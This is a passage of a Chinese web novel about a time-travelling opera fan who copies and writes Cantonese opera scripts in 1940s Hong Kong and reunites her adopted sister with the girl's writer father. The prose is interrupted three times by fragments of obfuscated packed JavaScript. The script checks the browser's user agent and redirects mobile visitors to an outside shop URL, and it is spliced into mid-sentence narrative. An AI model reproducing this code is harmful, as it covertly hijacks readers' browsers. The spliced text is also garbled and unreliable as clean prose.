而言少微天然就带有独属于后世人的俯视加广角视角,带得陆剑铮也从一个全新的角度看清了戏行的问题,这才一语惊醒梦中人。 “要是靠着提纲戏,眼下还能混混,等到电影开始普及,到时候就没有大戏的市场了。” 眼下电影虽然已经不是什么新鲜事物了,但是维岛老百姓平时的消遣还是以粤剧和南音这些传统曲艺为主。 电影的真正普及是在五六十年代。 言少微语气笃定:“最多再有十来年,绝对会变天。” “这么说,我们这些唱戏的将来就没饭吃了。”陆剑铮对言少微的话已经深信不疑了,不由就有点丧气,戏行都是前途黑暗了,他这个业内人还能有什么未来。 言少微没想到自己就是随便说说,居然把未来伶王打击到了,忙宽慰说:“危机危机,有危才有机嘛。以前唱大戏的都是全男班,连旦角都是男人唱,不也是差点完蛋,最后变成了男女混班,又好起来了嘛。是了,我记得第一个采用男女混班的,好像就是嘤其鸣?” 陆剑铮点点头:“我师父一向比较能接受新的想法。三十年代禁止男女混班的禁令一取消,他就将戏班重组了。” 白千声的确是个敢于尝试新事物的人,他甚至是维岛第一个尝试在粤剧里面用西洋乐器伴奏的。 “那照你看,要怎么样做,才能挽救戏行?”陆剑铮很快就收拾好了心情,开始转变思路。 “四个字——”言少微早已有了答案,她比出四根手指。 15. 牛刀小试 “曲白俱全!”言少微掷地有声。 陆剑铮认真地看着言少微,言少微说到此处,颇有些指点江山,挥斥方遒的书生意气,让人忍不住心生拜服。 言少微见他不说话,以为他不信,她拿手肘撞撞对方的胳臂:“你信我啦!剧本只有经过认真打磨,才能具备长久的竞争力。” 陆剑铮哪里是不信,他早都信了个十足,作为资深业内人士,他当然知道曲白俱全的好处,但是他又深深知道,戏行的现状就是这样,就是他们嘤其鸣剧团,都时不时得拿提纲戏填补空缺。 要革新,谈何容易。 两人说了一会儿,陆剑铮向来不是健谈的性子,可今日被她勾起了谈兴,又说了很久,才把话题转回了眼前。 “……我以前只听说过白班主唱得好,这还是第一次在现场看,真的不愧为一代伶王。”言少微情深意切地赞美道。 这话陆剑铮很受用,他勾了勾唇角:“是呀,要不然我师父也不会红透香江半边天。” 之所以只是半边天,是因为还有一个程云笙也是当下极受欢迎的文武生,分走了另外一半戏迷。 这两个文武生在四十年代一直是暗里竞争的关系。 言少微就忍不住提起程云笙:“不知道程云笙的舞台效果是怎么样的,等过段时间,我一定要去看看。说起来,你应该看过程云笙的戏吧?觉得怎么样?” “你如果问我的话,程派的戏很俗气,成日唱一些底层人物凄凄惨惨的戏,没我师父的戏路高雅。” “真的?”言少微斜眼看他。 陆剑铮弯了弯眼睛,接着说:“但你要问观众,程派是非常接地气的,很受观众喜爱。” “不过程云笙有一点倒是不如咱们班主。”言少微说。 “哪一点?” “他的徒弟不成才呀。” 言少微记得程云笙的徒弟在后世没有特别出彩的,连她这个资深戏迷都印象模糊。 “要这么说的话,白冰河确实不错。”陆剑铮说。 “谁说他了,我是说你呀!”言少微说。反正她可不记得白冰河在后世有什么名声。 “我?”陆剑铮微讶,继而摇了摇头,“我还差得远。” “我跟你打赌,”言少微的眼睛睁得圆溜溜的,“你将来肯定能红透香江两岸!” 陆剑铮叫她这个一本正经的样子逗笑了:“承你贵言呐。” 此时早已是后半夜了,两人又说了一会儿话,言少微有些困了,上下眼皮都开始打架了。 陆剑铮就跟她说:“你睡吧,你弟弟我帮你看着。” 言少微实在撑不住,没跟他客气,趴床角就睡了。 等到早上,言少微浑身酸痛地爬起来的时候,陆剑铮依旧坐在板凳上,不见他闭眼。 “你晚上没睡呀?”言少微都有些不好意思了。 “没事,你弟弟已经退烧了,医生说随时可以走。” 言少微听说,便去结算药钱。 这里看病实在是不便宜,诊金加药钱就花了她八蚊。这要是他们还在街头流浪的时候,怕是根本看不起病。 就在言少微心底嘀咕的时候,护士端着药盘从她身边路过,笑着跟她说了一句: “你们大佬真的很紧张你们,昨天抱着细佬来,那么大块头的一个男仔,急得都快哭了,晚上我们来查房的时候,又示意我们小点声,别打扰到你,自己在病床旁边守了整晚。” 言少微心中感动,只觉得陆剑铮真是一个难得的大好人。 正说着,陆剑铮已经抱着言柳宿走过来了:“走吧,我送你们回家。” 回去的路上,言少微在街边档买了早餐,三人吃了才回去。 等把言少微他们送回家,陆剑铮说要回家补觉,便走了。 他们做艺人的可以中午才去戏班,言少微却是要上午去的。 她把言柳宿交给冯望舒,叮嘱她好好照顾弟弟,自己便去了戏班。 刚踏进后台,就有人来唤她:“杜哥叫你去。” 言少微便去找杜临溪。 杜临溪身为开戏师爷,其实并不需要天天待在戏班,所以后台也没有他单独的房间,他一般来了都在白千声的休息室待着。 “杜哥,你找我?”言少微掀帘子进去。 今天的杜临溪还是一身深灰色的绸缎长衫,一见言少微便说:“今日开新戏了,你来抄。”他说着指指一旁的板凳桌子,示意言少微坐。 言少微闻言,忙从包里面取出纸笔,做洗耳恭听状——她现在已经不会背着所有的家当满街跑了,衣服什么的她放在唐楼,让冯望舒收着,随身只带着文稿纸笔。 杜临溪说:“我前几日得到一本《牡丹亭还魂记》,咱们今天把这个剧改改。” 言少微毫无异议,像《苦凤叹》这种短篇剧目,最多唱一个台期(一个台期一般是四天五夜共九场,或五天六夜共十一场),观众就厌了,也就是说,他们得在一个台期结束前,就把新戏推出去。 这里面还包含抄曲跟排练的时间,留给开戏师爷创作的时间非常少。 这么短的时间,改老戏,的确是最省事的办法。 而此时的粤剧不像京剧昆曲,演出的都是经典戏目,粤剧更多的是演新编戏或者是提纲戏,所以此时的观众对于一些传统老戏反而并不了解。 言少微记得,后世的粤剧当中的确有改编的《牡丹亭》流传,但在四十年代,还没有戏班唱这个。 四十年代的维岛又刚刚经历了战火,想找点资料也难。 所以杜临溪在得到《牡丹亭还魂记》的剧本时,简直如获至宝。 他花了两天时间看完了,又仔细琢磨一番,这才决定新戏要如何写。 “《牡丹亭还魂记》?是那个……”言少微说着唱起来,一双眼睛亮晶晶的,“‘原来姹紫嫣红开遍,似这般都付与断井颓垣’的《牡丹亭》吗?” 她唱的是昆曲的调子,却是用的粤语来发音。 杜临溪惊讶地看向她:“你知道《牡丹亭还魂记》?” 言少微冲他笑笑:“我是老戏迷了,什么戏都爱听。” 杜临溪一想,言少微改的《苦凤叹》他看了,文藻着实动人,足见对方的文字功底,这样的人,必然是装了满肚子戏词儿的,不然不可能填出这样水准的词。 他如此想着,便对言少微更高看了几分。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698941|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那你既然知道这故事,对于改编,你有什么想法?” “我记得《牡丹亭》得有五十多幕,其实有很多内容对于观众来讲,不大有意思,咱们完全可以大刀阔斧地砍掉大半,就保留一些关键的节点……” 她这是站在后世观众的立场来讲的,后世传统戏曲之所以竞争不过电视电影,很大程度是因为节奏缓慢的原因。 很多唱词的确惊艳,但是对于大部分观众来讲,他们只想看故事,看后面如何发展,很难静下心来品味辞藻。你这台上节奏一慢,观众就换台了。 当然,这个时代的观众,可选择的娱乐项目实在是没法跟后世比,所以对慢节奏的包容度还是很大的。 这就导致了当时的开戏师爷并没有意识到这个问题,还在老一套的风格上打转,比如杜临溪就不大认可言少微的看法,他只认为言少微这是年轻人静不下心来细品,当下也不置可否,只是说:“来了,呐,这开篇,文武生上场,先来一段【士工慢板】(粤剧板腔),来……” 言少微不慌不忙拧开笔盖开始记录。 作为抄曲师傅,不光要把开戏师爷的唱词记录下来,还得同步记录工尺谱、板式、板眼,甚至还要备注角色的动作、表情…… 一般来讲,这抄曲的肯定比不上口述的快。 是以杜临溪早就习惯了说一说,就停一停,等抄曲师傅追上来,时不时的还要重复一遍自己刚才讲的词。 然而这次他刚刚按照旧有的习惯停下来,言少微就问:“然后呢?柳梦梅口古(念白)了什么?” 杜临溪愣了一下,这第一反应就是这个后生仔听故事听入迷了,没在抄曲,光催着问下面的内容,跟那个小光头一样的毛病。 这么一想,他就有些不悦了:“前面抄完了吗?” “抄完了。”言少微仰头,瞪着圆溜溜的大眼睛看着杜临溪,像一个嗷嗷待哺的小鸟仔,就等着杜临溪投喂戏词。 杜临溪习惯了边说边在屋里转圈,此时刚好转到言少微身边,他低头一看—— 嚯!居然一字不差! 不光如此,人家写这么快,字迹居然丝毫不乱。 杜临溪到嘴边的批评就噎在了喉咙里,出不去,也下不来,活似吞了只青蛙。 言少微疑惑地看着他:“杜师爷?” “呃……他口古……呃……”杜临溪忙抓回自己的思绪,“‘小姐,你却又为何泪如雨下呐?’” 见杜临溪说了下去,言少微继续埋头,那叫一个运笔如飞。开玩笑,那都是高考考场上锤炼出来的速度。哪怕是争分夺秒的时候,她的卷面也从来没有扣过分! 她写得是顺风顺水,杜临溪就有些恼火了,他除开之前就想好的部分内容,剩下很大一部分其实都是临场现编,按照他的经验,这完全是来得及的,没想到今日却遭遇了滑铁卢。 “然后呢?” “后面呢?” “跟着呢?” “梅香的介口(动作)是不是漏了?” “…………” 言少微催问到最后,杜临溪彻底没词儿了。 哪有抄曲师傅这么催的!催得他脑子都转不过来了! 16. 上报纸了 言少微又抬起了头,食指不停轻轻敲打钢笔,她手痒,她都已经想好下面怎么写了,但是…… 她看看有点焦躁的杜临溪,还是算了吧,到底还是新人,她决定自己最好还是韬光养晦一下。 季北鸿跟她说了,开戏师爷在戏班的地位很高,就是班主、红角都要礼让三分的,她可不想得罪人。 杜临溪自己也觉得有些尴尬,他干咳两声:“今日先到这里为止吧,你同财叔先把目前有的抄几份,让他们先背起来。” “好。”言少微也不多说,收拾了手上的戏纸就出去了。 回到抄写室,财叔已经等在那里了,一见她,语气有些阴阳怪气:“怎么样?跟开戏师爷抄曲,跟得上趟吗?” 言少微抽了抽嘴角……她倒是跟得上趟,开戏师爷好像不大跟得上。 但她也不好这么说,只是将手中那份文稿拢了拢:“还成,我先抄一份再给你吧。” 财叔以为她这么说,是面子上挂不住,在他看来言少微第一次抄曲必然得手忙脚乱,文稿里面不知道会有多少错漏,字迹也不知道有多乱。 她说她先抄一份,肯定就是想利用誊抄的机会把狼狈掩饰过去,不让自己看到。 他哪里肯容言少微遮掩,不由分说就从言少微手里将文稿抢了来:“还是我先抄吧。” 他倒要好好给这个不知道天高地厚的后生仔挑挑错,到时候要是字迹看不清楚,他就直接去跟杜临溪核对,顺便还能趁机上上眼药。 他得让杜临溪知道,抄曲还是得让有经验的人来,后生仔懂什么! 然而他低头只一眼,当场就傻了。 只见手中这份文稿字字清晰,板眼符号标注明确,唱词、曲谱各归其位,完全没有因为赶得急,就写得乱糟糟的。 这怎么可能?! “有什么问题吗?”言少微见财叔呆立着不动,忍不住问他。 “没、没有。” 财叔一副深受打击,怀疑人生的模样。 “那财叔先抄,抄完我再抄。”言少微说着就出了抄写室。 此时已经中午了,全班人马差不多已经来齐。 季北鸿刚打了饭,一见言少微就凑过来:“听讲你弟弟病了?” 昨晚冯望舒在后台门口哭闹,有人看到了。 言少微见问,就点点头:“昨晚吓死我了,幸好有铮哥帮我。”她顺口说了说昨晚陆剑铮是如何帮她抱着言柳宿去诊所,又是如何帮她守了一夜的病人。 末了,言少微的语气上扬:“这段时间,你同铮哥帮我不少,等着这个台期结束,我请你们吃饭呐!” 毕竟平日戏班都是包饭的,也只有台期结束的时候,他们才需要自己花钱吃饭。 季北鸿沉默了一下,像是有些纠结,半晌才说:“如果要请铮哥吃饭,你最好别提你弟弟看病的事情,我担心会勾起他的伤心事。” “什么伤心事呀?”言少微问。 “这事儿我跟你说,你别跟铮哥说是我说的,”季北鸿扫了眼后台,确定陆剑铮没在,才说,“铮哥有个妹妹,也是很小的时候病了,那会儿铮哥自己都是个小孩,没钱给她看病,听说那小姑娘就死在铮哥的怀里。” 言少微下意识问:“那铮哥的父母也没钱吗?” “那会儿上面打仗,铮哥的父母带着他们兄妹三个逃到维岛,吃饭都没钱,铮哥他爸卖了老婆之后,又要卖女儿。铮哥就带着妹妹跑了,当时那小姑娘可能也就四五岁。兄妹俩流落街头,相依为命了一段时间,结果他妹妹还是……”季北鸿摇了摇头,又叹了一声。 “所以一直以来,铮哥见到流落街头的小孩,能帮的都会帮一下。” 好像有什么东西往言少微的心头重重一撞,难怪昨天陆剑铮看起来那么担心小柳宿的病情,他这是想起了自己的妹妹吧? 言少微一时心中不知是何滋味,她原本以为陆剑铮这样的人,从小跟着红伶长大,至少是衣食无忧的,却想不到他居然有这样悲惨的童年。 季北鸿又殷切叮嘱她:“呐,这事儿你知道就行了,千万别在铮哥跟前提啊,他知道了一定会揍我的!” “放心。”言少微神色沉沉。 …… 今日《苦凤叹》第一天上演,言少微又跑到虎度门边去看戏。 这一看却是惊讶不已,文武生居然不是陆剑铮! “为什么这个戏不是铮哥上?”言少微拉住在虎度门后面的杂箱角整理物品的钱仔。 钱仔用帕子擦掉洒在桌上的花红粉:“冰哥说他想上,铮哥就让他了。” “不是,凭什么啊?”言少微一听就来气了,“铮哥都排练了这么多天了!” “一直是这样啊。铮哥从来不跟冰哥争的。”钱仔很习以为常地耸耸肩。 言少微稍稍一想,就明白了陆剑铮的想法。 陆剑铮是白千声养大的,他自觉师父对他恩重如山,自然不会跟师父的亲侄儿争什么。 但言少微就是觉得不爽,她拖着脚步又挪到了虎度门边去看戏,横看竖看就是觉得白冰河演得没有陆剑铮好。 而且半天的准备,根本不够白冰河完全记住新词儿。 他在台前每爆肚一次,言少微的脸色就黑一分。 没有哪个编剧会喜欢演员乱改自己的词儿好吧!改得还不好! 言少微想想,脚下一转,跑去找了杜临溪。 杜临溪一听她的来意就笑了。 他做惯了提纲戏,其实早就习惯了被演员临场改词,大部分时候他也不会说什么,除非改得太离谱。 杜临溪摇头叹了一声:“冰河又抢戏,也就是阿铮肚量大,不跟他计较。”这要是换成别人,哪怕是个龙套被人抢了戏,都得生出龃龉来。 言少微见他不以为意,又说起自己看陆剑铮排练的时候,那个演出效果不知道比现在好多少,就是为了戏班的口碑也不能让白冰河乱来呀! 杜临溪挑眉看着言少微笑:“我写的那版人家就看不上,你写的倒成了香饽饽。” 言少微有些尴尬地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698942|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挠挠下巴,笑笑说:“那不是杜师爷你没时间细细雕琢吗?杜师爷你要是认真写,哪里还有白冰河嫌弃的份。” 言少微说的也是真心话,她看得出来杜临溪的古文功底十分强。他们这种启蒙就是学文言文的,文采肯定是不用说的。 杜临溪其实不大计较这件事,但总是面上有些无光,此时听言少微这么说,心底那一缕若有若无的郁闷也消失了,他大笑摇头:“成,这事我帮你办。” 也不知他是如何解决的,反正到了夜场,上场的就换回了陆剑铮。 言少微在虎度门边听着陆剑铮一字不差地唱着自己写的词儿,那叫一个心满意足。 杜临溪也跟她一起看了一会儿,等到《苦凤叹》结束,就走了。 出戏园大门的时候,正看到一个胡子拉碴,年纪大约四旬往上的男人从戏园里出来,看样子是提前离开的观众。那人刚走出来就看到杜临溪,明显地愣了一下。 “闻靓伯?”杜临溪招呼对方,“喂,你来干什么?来偷师吗?” “我需要偷你师?”闻靓伯瞥了眼杜临溪,“论资历,我不知道比你高多少辈!” “可惜有些人只是资历比我高而已。写戏的水准嘛……啧啧。” 这闻靓伯正是白千声的对手——程云笙的御用开戏师爷。 如果说白千声跟程云笙只是暗里竞争,闻靓伯同杜临溪的竞争就属于摆到明面上了。 闻靓伯冷笑两声,摆出长辈的架子:“别说我做长辈的不提点你,你以前开戏就依赖提纲,有再多的才气,也经不住你这么浪费!如果次次都照今次这个水准写,连我都要佩服你一下。” “佩服我?”杜临溪笑笑,“这次的戏不是我写的。” 闻靓伯一愣。 “是我的助手写的。我见他写得不错,就让他练练手咯。想不到你连我的助手都佩服,那是不是说明,你承认自己不如我了?”杜临溪笑得十分得意。 闻靓伯叫他气得脸都紫了:“杜临溪,你个扑街!你等着!下一套戏,我让你看看什么叫真正的好戏!”说完便甩袖子走了。 杜临溪耸耸肩,步履轻松地也往戏园外走去。 …… 日子总算是安定了下来,言少微抄曲之余,依旧在后台写自己的小说。 因为抄曲的任务不定,有时候赶工,她跟财叔也是要通宵抄写的。所以写小说的时间就不大稳定。 她原本是打算写个三万字就去尝试投稿的,但是见眼下的状况,她还是觉得自己得多存点稿,要不然真让她上报连载了,她再断更,害人家报纸开天窗就不好了。 至于去寻亲,这段时间言少微实在是抽不出空闲来,戏班台期之间休息的时间,她都拿来写小说了。 唯有冯望舒还记挂着这件事,但是小姑娘见大姐每天早出晚归地辛苦,也没催过言少微。 这日早上,言少微到后台抄写室的时候,包都还没放下,季北鸿就冲了过来,咋咋呼呼地冲她嚷: “微仔!你上报纸了!” 17. 双喜临门 言少微有些错愕:“什么?” 季北鸿把手里一份《本岛大戏》塞给她:“昨天的《苦凤叹》被掀浪夸了!” 言少微低头一看,见报纸上那篇专栏文章标题是:《曲词动心声,苦凤足堪怜》。 她细细看去—— “……戏行有多久没有过这样文辞典雅的精品戏词了? …… 这词一看就是用心写的,开戏师爷将凤娘的悲苦都融入了戏词当中,当真是字字句句都催人泪下。 …… 话说回来,这不是嘤其鸣一贯的文风,莫非嘤其鸣又请了新的开戏师爷?若当真如此,白千声的眼光的确是相当不错的。 ……” 言少微给人夸得脸红,她抬头问季北鸿:“这是班主买的通稿?” “通稿?那是什么?”季北鸿一脸懵逼。 “就是,这个文章是班主为了宣传新戏,花钱找人写的?” “花钱买通掀浪?!”季北鸿弄明白了言少微的意思,整个人都激动起来,抓着言少微的肩膀使劲来回晃,“你知不知道掀浪是谁!!!” ……咋啦? ……就买通他很贵的意思呗? “是谁?”言少微差点被晃晕了,艰难地用手推开季北鸿。 “没人知道掀浪是谁!”季北鸿挥拳咆哮,“他谁的面子都不给的,就是咱们班主,还有程云笙那个级别的大佬倌,只要有哪里表现不佳,叫他看见了,必然被他在专栏狂骂一通!他眼睛又毒,别人留意不到的,他都能发现。之前有大佬倌的戏迷气得围了报社,要教训掀浪。可惜就是报社的编辑也不知道掀浪到底是谁。” ……看见了。 那篇文章下面话锋一转,就是骂白千声的—— 说他状态下滑得严重,唱高音的时候,跟被人掐着脖子似的,听着就难受,让他实在不行就回去养老吧。 反正两个徒弟都已经能撑起场面来了。 ……这是真毒舌,难怪气得人要揍他。 说话间,陆剑铮来了。 他给言少微带来了一个好消息—— “冯忠恩找到了。” 陆剑铮的大佬是当差的,有他帮忙,可比言少微他们一家一家报社问过去容易多了。 言少微大喜:“他在哪里?” 陆剑铮就把自己知道的情况说了一下。 原来冯忠恩一直就在维岛,是个小有名气的文人,写了不少小说,笔名金谷主人。 同行啊! 言少微又惊又喜,她之前还一直在想,自己一个名不见经传的新人,如何才能让报社看一看自己的稿件,如果二妹的爸爸有门路的话,她可以请对方帮忙呀! “铮哥,这事儿太感谢你了。”言少微真情实意地说。 这段时间,陆剑铮真的帮了她太多了。 “不用客气,其实我也没做什么,就是说了句话而已。”陆剑铮说着把一张写着冯忠恩地址的纸条递给了言少微。 等到晚上言少微回家的时候,把这个好消息跟冯望舒一说,小姑娘开心得又蹦又跳。 言柳宿跟着傻乐。 同屋的婶子也跟着恭喜了一句:“这下好了,以后有父母照料,也不用在这里受罪了。” 姊妹三人正说得热闹,天井下面有人喊:“男的冲凉了!” “快快快,老三快去!”言少微忙催促言柳宿。去晚了,可没水用了。 “好!”言柳宿忙抱着换洗衣服下楼了。 小柳宿眼下被言少微教得很乖了,洗完澡还知道顺便在楼下的公共水喉接水,把自己的脏衣服洗了。 过了几天,正遇上嘤其鸣的一个台期结束,戏班要换新的戏园子。 ——这个时代,戏班不会长期驻场一个戏园子,戏园子也要换换新面孔。所以一般一个台期或者几个台期后,戏班就会换新的地方。 言少微没去跟着打包搬家,而是带着两个小家伙去了陆剑铮给她的地址。 冯忠恩住的地方还真挺远的。 姊妹三人从旺角出发,步行了将近一个小时的路,到尖沙咀码头,坐天星小轮过海。 这期间,小柳宿完全没有叫过累,更没有要求抱抱,反而一马当先走在前面。 等下了船,言少微带着两个小家伙花了三毫子坐了叮叮车(电车)从中环码头到了铜锣湾。 等按照地址找到地方,半天就过去了。 冯忠恩住的,其实也是一个唐楼,不过整栋建筑通体刷成了橘红色,看起来别有一种风格。 在楼下同看更说明来意后,他们被放了进去。 上了二楼,言柳宿很积极地在前面数门牌号:“二三、二四、二五!是这里!二佬!敲门!” 言少微也冲二妹笑笑:“去敲门吧。” 然而冯望舒却没有去敲门,反而后退一步,藏到了言少微身后。 言柳宿不明白二姐这是什么意思,有些傻眼。 言少微却是明白,自家妹子这是近乡情怯了。 她也没催,自己走上前去敲了敲门。 门很快从里面被打开了,一个穿着短袖碎花长裙的中年女性有些戒备地看着他们:“你们找谁?” “我们来找冯忠恩。” “读者是吧?私人地方,恕不接待。”那女人说着就要关门。 “我们不是读者!”言少微忙说,“是他女儿来找他……” 言少微说着拉了拉冯望舒,想把她拉到前面,谁知小姑娘愣是不肯出来。 眼前女人的动作早就僵在了那里,她盯着冯望舒露出来的一角衣服,脸色变了几变,看起来很想关上门,却到底还是说:“你们在这里等等。” 说着,她便转身走了进去。 冯忠恩虽然也在唐楼租房子住,但是他租的不是一个床位,而是一个完整的单位,里面还有专门的书房和卧室。 那女人进到一个房间内,关上了房门。 然而木板门的隔音不大好,言少微很快听见了一个女人的怒吼:“你是个骗子!你跟我求婚的时候告诉我,你的前妻和女儿打仗的时候都死了!骗人!现在人家找上门了!” 冯望舒哆嗦了一下,揪着大姐的手又紧了紧。 几分钟后,便看到一个三十出头的男人急匆匆从里面走了出来。 他走出来,就看到三个男孩儿打扮的孩子,他一一扫过之后,将目光定在了最小的那个孩子身上。 他有好多年没有见过女儿了,记忆里,那孩子也就差不多能有自己小腿高。 比小柳宿还小些。 冯忠恩有些疑惑地看着言柳宿。 这孩子的模样与他记忆中的女儿完全不重合啊! 不,不对,小月亮今年该有十一二岁了,不应该这么小。 冯忠恩的目光从言少微脸上扫过,又落在了她身后的人身上: “小月亮?是你来找爸爸了吗?” 冯望舒听见了记忆中熟悉的声音,终于从言少微的背后探出头来,小声叫了声:“阿爸。” “小月亮!真的是你来找爸爸了!”冯忠恩一下子红了眼眶,冲过来一把抱住了冯望舒。 冯望舒给他一抱,再也没憋住,哇一声就哭了。 言柳宿看着他们父女哭成一团,嘴巴一撇,也哭了。他也想爸爸妈妈了。 走廊上登时只听见两个小孩此起彼伏的哭嚎,惹得好几个邻居开门抗议。 冯忠恩忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698943|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揽住女儿,说:“咱们到外面说吧。小月亮,走,爸爸给你买好吃的去。” 明明家就在身后,他却没有请他们进去,反而要带他们出去,这话一出,两个孩子还没意识到什么,言少微心头却是一沉。 看这状况,冯忠恩不大可能接纳冯望舒了。 果然,在街口一家冰室坐下后,冯忠恩绝口不提把女儿接回来的话,只是不住询问他们眼下的情况,又点了一堆吃的,劝他们多吃一点。 言少微干脆开门见山地问:“冯叔,你打算把望舒接回去吗?” 听见大姐这么问,冯望舒后知后觉地意识到什么,忙仰头去看她爸爸。 “我……”冯忠恩神色有些狼狈,“小月亮是我的亲骨肉,我也想把她接回来。但是我现在的太太不是个能容人的,她不答应,我就是强行把小月亮接回来,这孩子也难免会受委屈,我舍不得她受那样的委屈。” 冯望舒愕然看向冯忠恩,像是不敢相信自己听到了什么。 如果表情可以骂人的话,言少微已经骂了很多句脏话了,然而在她当真开口斥责之前,就听到冯忠恩说:“再给我一点时间吧,我去说服我的太太。” 他说着,动情地摸摸冯望舒的小脸:“过去的几年,我一直担心着这孩子,生怕她被卷入战争,怕她会丢掉小命,幸好,她没事,给我一点时间,我一定会接她回家的。” “爸爸……”冯望舒刚刚收住的泪水又一次滚了出来,小姑娘一头扑进父亲的怀里,呜呜地哭起来。 冯忠恩从裤兜里掏出他的银包,从里面掏出三十蚊港纸,递给言少微:“这段时间,就暂时拜托你帮我照顾一下小月亮。这些钱,就当做她的伙食费。” 三十蚊已经不少了,财叔一个月辛辛苦苦也才能挣六十蚊。 言少微虽然已经有了收入,但是手头依旧很紧,而且她还计划着,要搬出那个人挤人的九人间,换一个单间,当下也就没客气,收下了那三十蚊。 收了钱,言少微就觉得有些不好意思了,她刚才好像把冯忠恩想得太坏了点,冯忠恩分明并不是想要把女儿当累赘丢掉的。 之后等到他们父女心情平复下来,大家开始闲聊的时候,言少微主动说起自己在写小说的事情。 “我想要投稿,却不知道该往哪家报社投,”言少微说,“我听说冯叔是大作家,不知道冯叔能不能帮我指条路?” 冯忠恩听说,来了兴趣:“你写的什么,拿来给我看看。” 言少微巴不得这一句,忙从包里面把一沓稿子取出来,双手递了过去。 稿子已经有五万字了,故事的大致走向已经颇见雏形。 小说分两条线,一条是从小狗娃失去唯一的亲人,不得不流浪街头讲起,到她成为古惑仔的马仔。 另一条,已经讲到郑遥岑意外发现亲子居然不是亲生的,丈夫向她坦诚自己换子一事。郑遥岑一想到自己的孩子在外受苦,就悲痛欲绝,发动所有的关系,想要找到自己的孩子。 狗娃还不知道母亲正在找自己,眼下的她就像是走在钢丝绳上,钢丝的一头连着死神的镰刀,另一头连着黑暗的深渊。 她小小的身影在风中摇摇欲坠,随时可能被现实撕得粉碎。 言少微没有去刻意渲染狗娃的险境,读者的一颗心却早已被狗娃的命运揪住了心。 “好啊,这是一个好故事!”冯忠恩看书的速度很快,等他看完,又想到自己的女儿也可能成为狗娃,一时心里更是难受。 他看向言少微,心中不由升起感激来,如果没有言少微照拂,小月亮才那么一点大,她的命运可能就会像狗娃那样。 不! 望舒可能比狗娃更惨,她可能都活不到找到自己! 18. 帮手投稿 “言小姐,你这本书写得非常好,你如果想要投稿的话,我帮你投吧!我有相熟的编辑,只要我开口,他一定会接收你的稿件的!” 冯忠恩说这话,其实也并不完全是为了感谢言少微,他看得出来,言少微这本小说是真的精彩,连他这个写故事的老手,都被狗娃的经历牵动了愁肠,他相信,读到这个故事的读者一定也会被狗娃的故事吸引,忍不住想要知道狗娃将来的命运。 言少微闻言,笑得眉眼弯弯,她正愁不了解这个时代的情况,不知道该如何投稿,当下便对着冯忠恩道谢。 冯忠恩摆摆手:“事情还没办成,你先别谢我,下个礼拜你来找我,我跟你讲结果。” 他说着站起来:“我得回去了,出来太久,家里那个要闹的。” 冯忠恩说着便起来把账结了,又想起什么,转身问言少微:“你的笔名叫什么?” 言少微想想:“宿云微吧。” “晓月坠,宿云微,好名字。”[1] 冯忠恩说完,又叮嘱了冯望舒几句,让她要听大姐的话,要学会照顾好自己,这才与他们作别,快步朝家的方向走去。 家里,有一场暴风雨等着他。 半个小时后,冯忠恩没能说服他的太太接收他那个“死而复生”的女儿,甚至他自己都被从家里撵了出来。 他脸色很难看地被关在门外,整个人像被风雨浇透了一般狼狈。 周围的邻居已经有人探头出来瞧热闹了,冯忠恩有些难堪,他敲了敲门,压低了声音恳求:“阿俐,你开开门,咱们屋里讲。” 门从里面被打开了。 冯忠恩刚松了口气,一沓稿纸就被砸到了他的怀里。 “你女儿的东西,别拿到我家!”女声怒斥一句,pang一声又把门关上了。 冯忠恩摸了摸差点被拍到的鼻子,心里也有些火气,他低头看看手中的一沓稿件,没再去敲门,反而转身下了楼,迈步朝着报社走去。 他去的是他相熟的一家报社,发行的报纸叫《天星日报》,他的小说大都是在这家报社发表的。 冯忠恩熟门熟路地走进编辑的办公室,刚进去,就有个高高瘦瘦的男编辑招呼他: “冯生!好久不见!我还说你再不来我们报社了!” 那编辑名叫叶轻舟,是专门负责跟作家们对接的。冯忠恩就在他手里发表了三部小说,以及一些文章。 冯忠恩,或者说金谷主人,算不得很有名气的大作家,写的东西也不温不火,对《天星日报》的读者来说,可替代性极强,金谷主人半年没有发表小说,也没有读者来信催稿,是以叶轻舟也就没有去联系过冯忠恩。 虽然心里并不如何重视冯忠恩,但是叶轻舟面上还是十分热情:“今天来,可是又有佳作了?” “你先看看。”冯忠恩说着将手中的文稿递了过去。 “好,我先看看。”叶轻舟接过文稿,直接翻看了起来。 编辑每天要看很多稿件,他们看文的速度自然是非常快的,不到一会儿他就将手中的文稿全都看完了。 每天看得文稿多了,其实叶轻舟的内心早就有些麻木了,许多能触动情感的文字在他这里,都只剩下冰冷的衡量—— 读者会喜欢,收了;读者不会喜欢,拒稿。 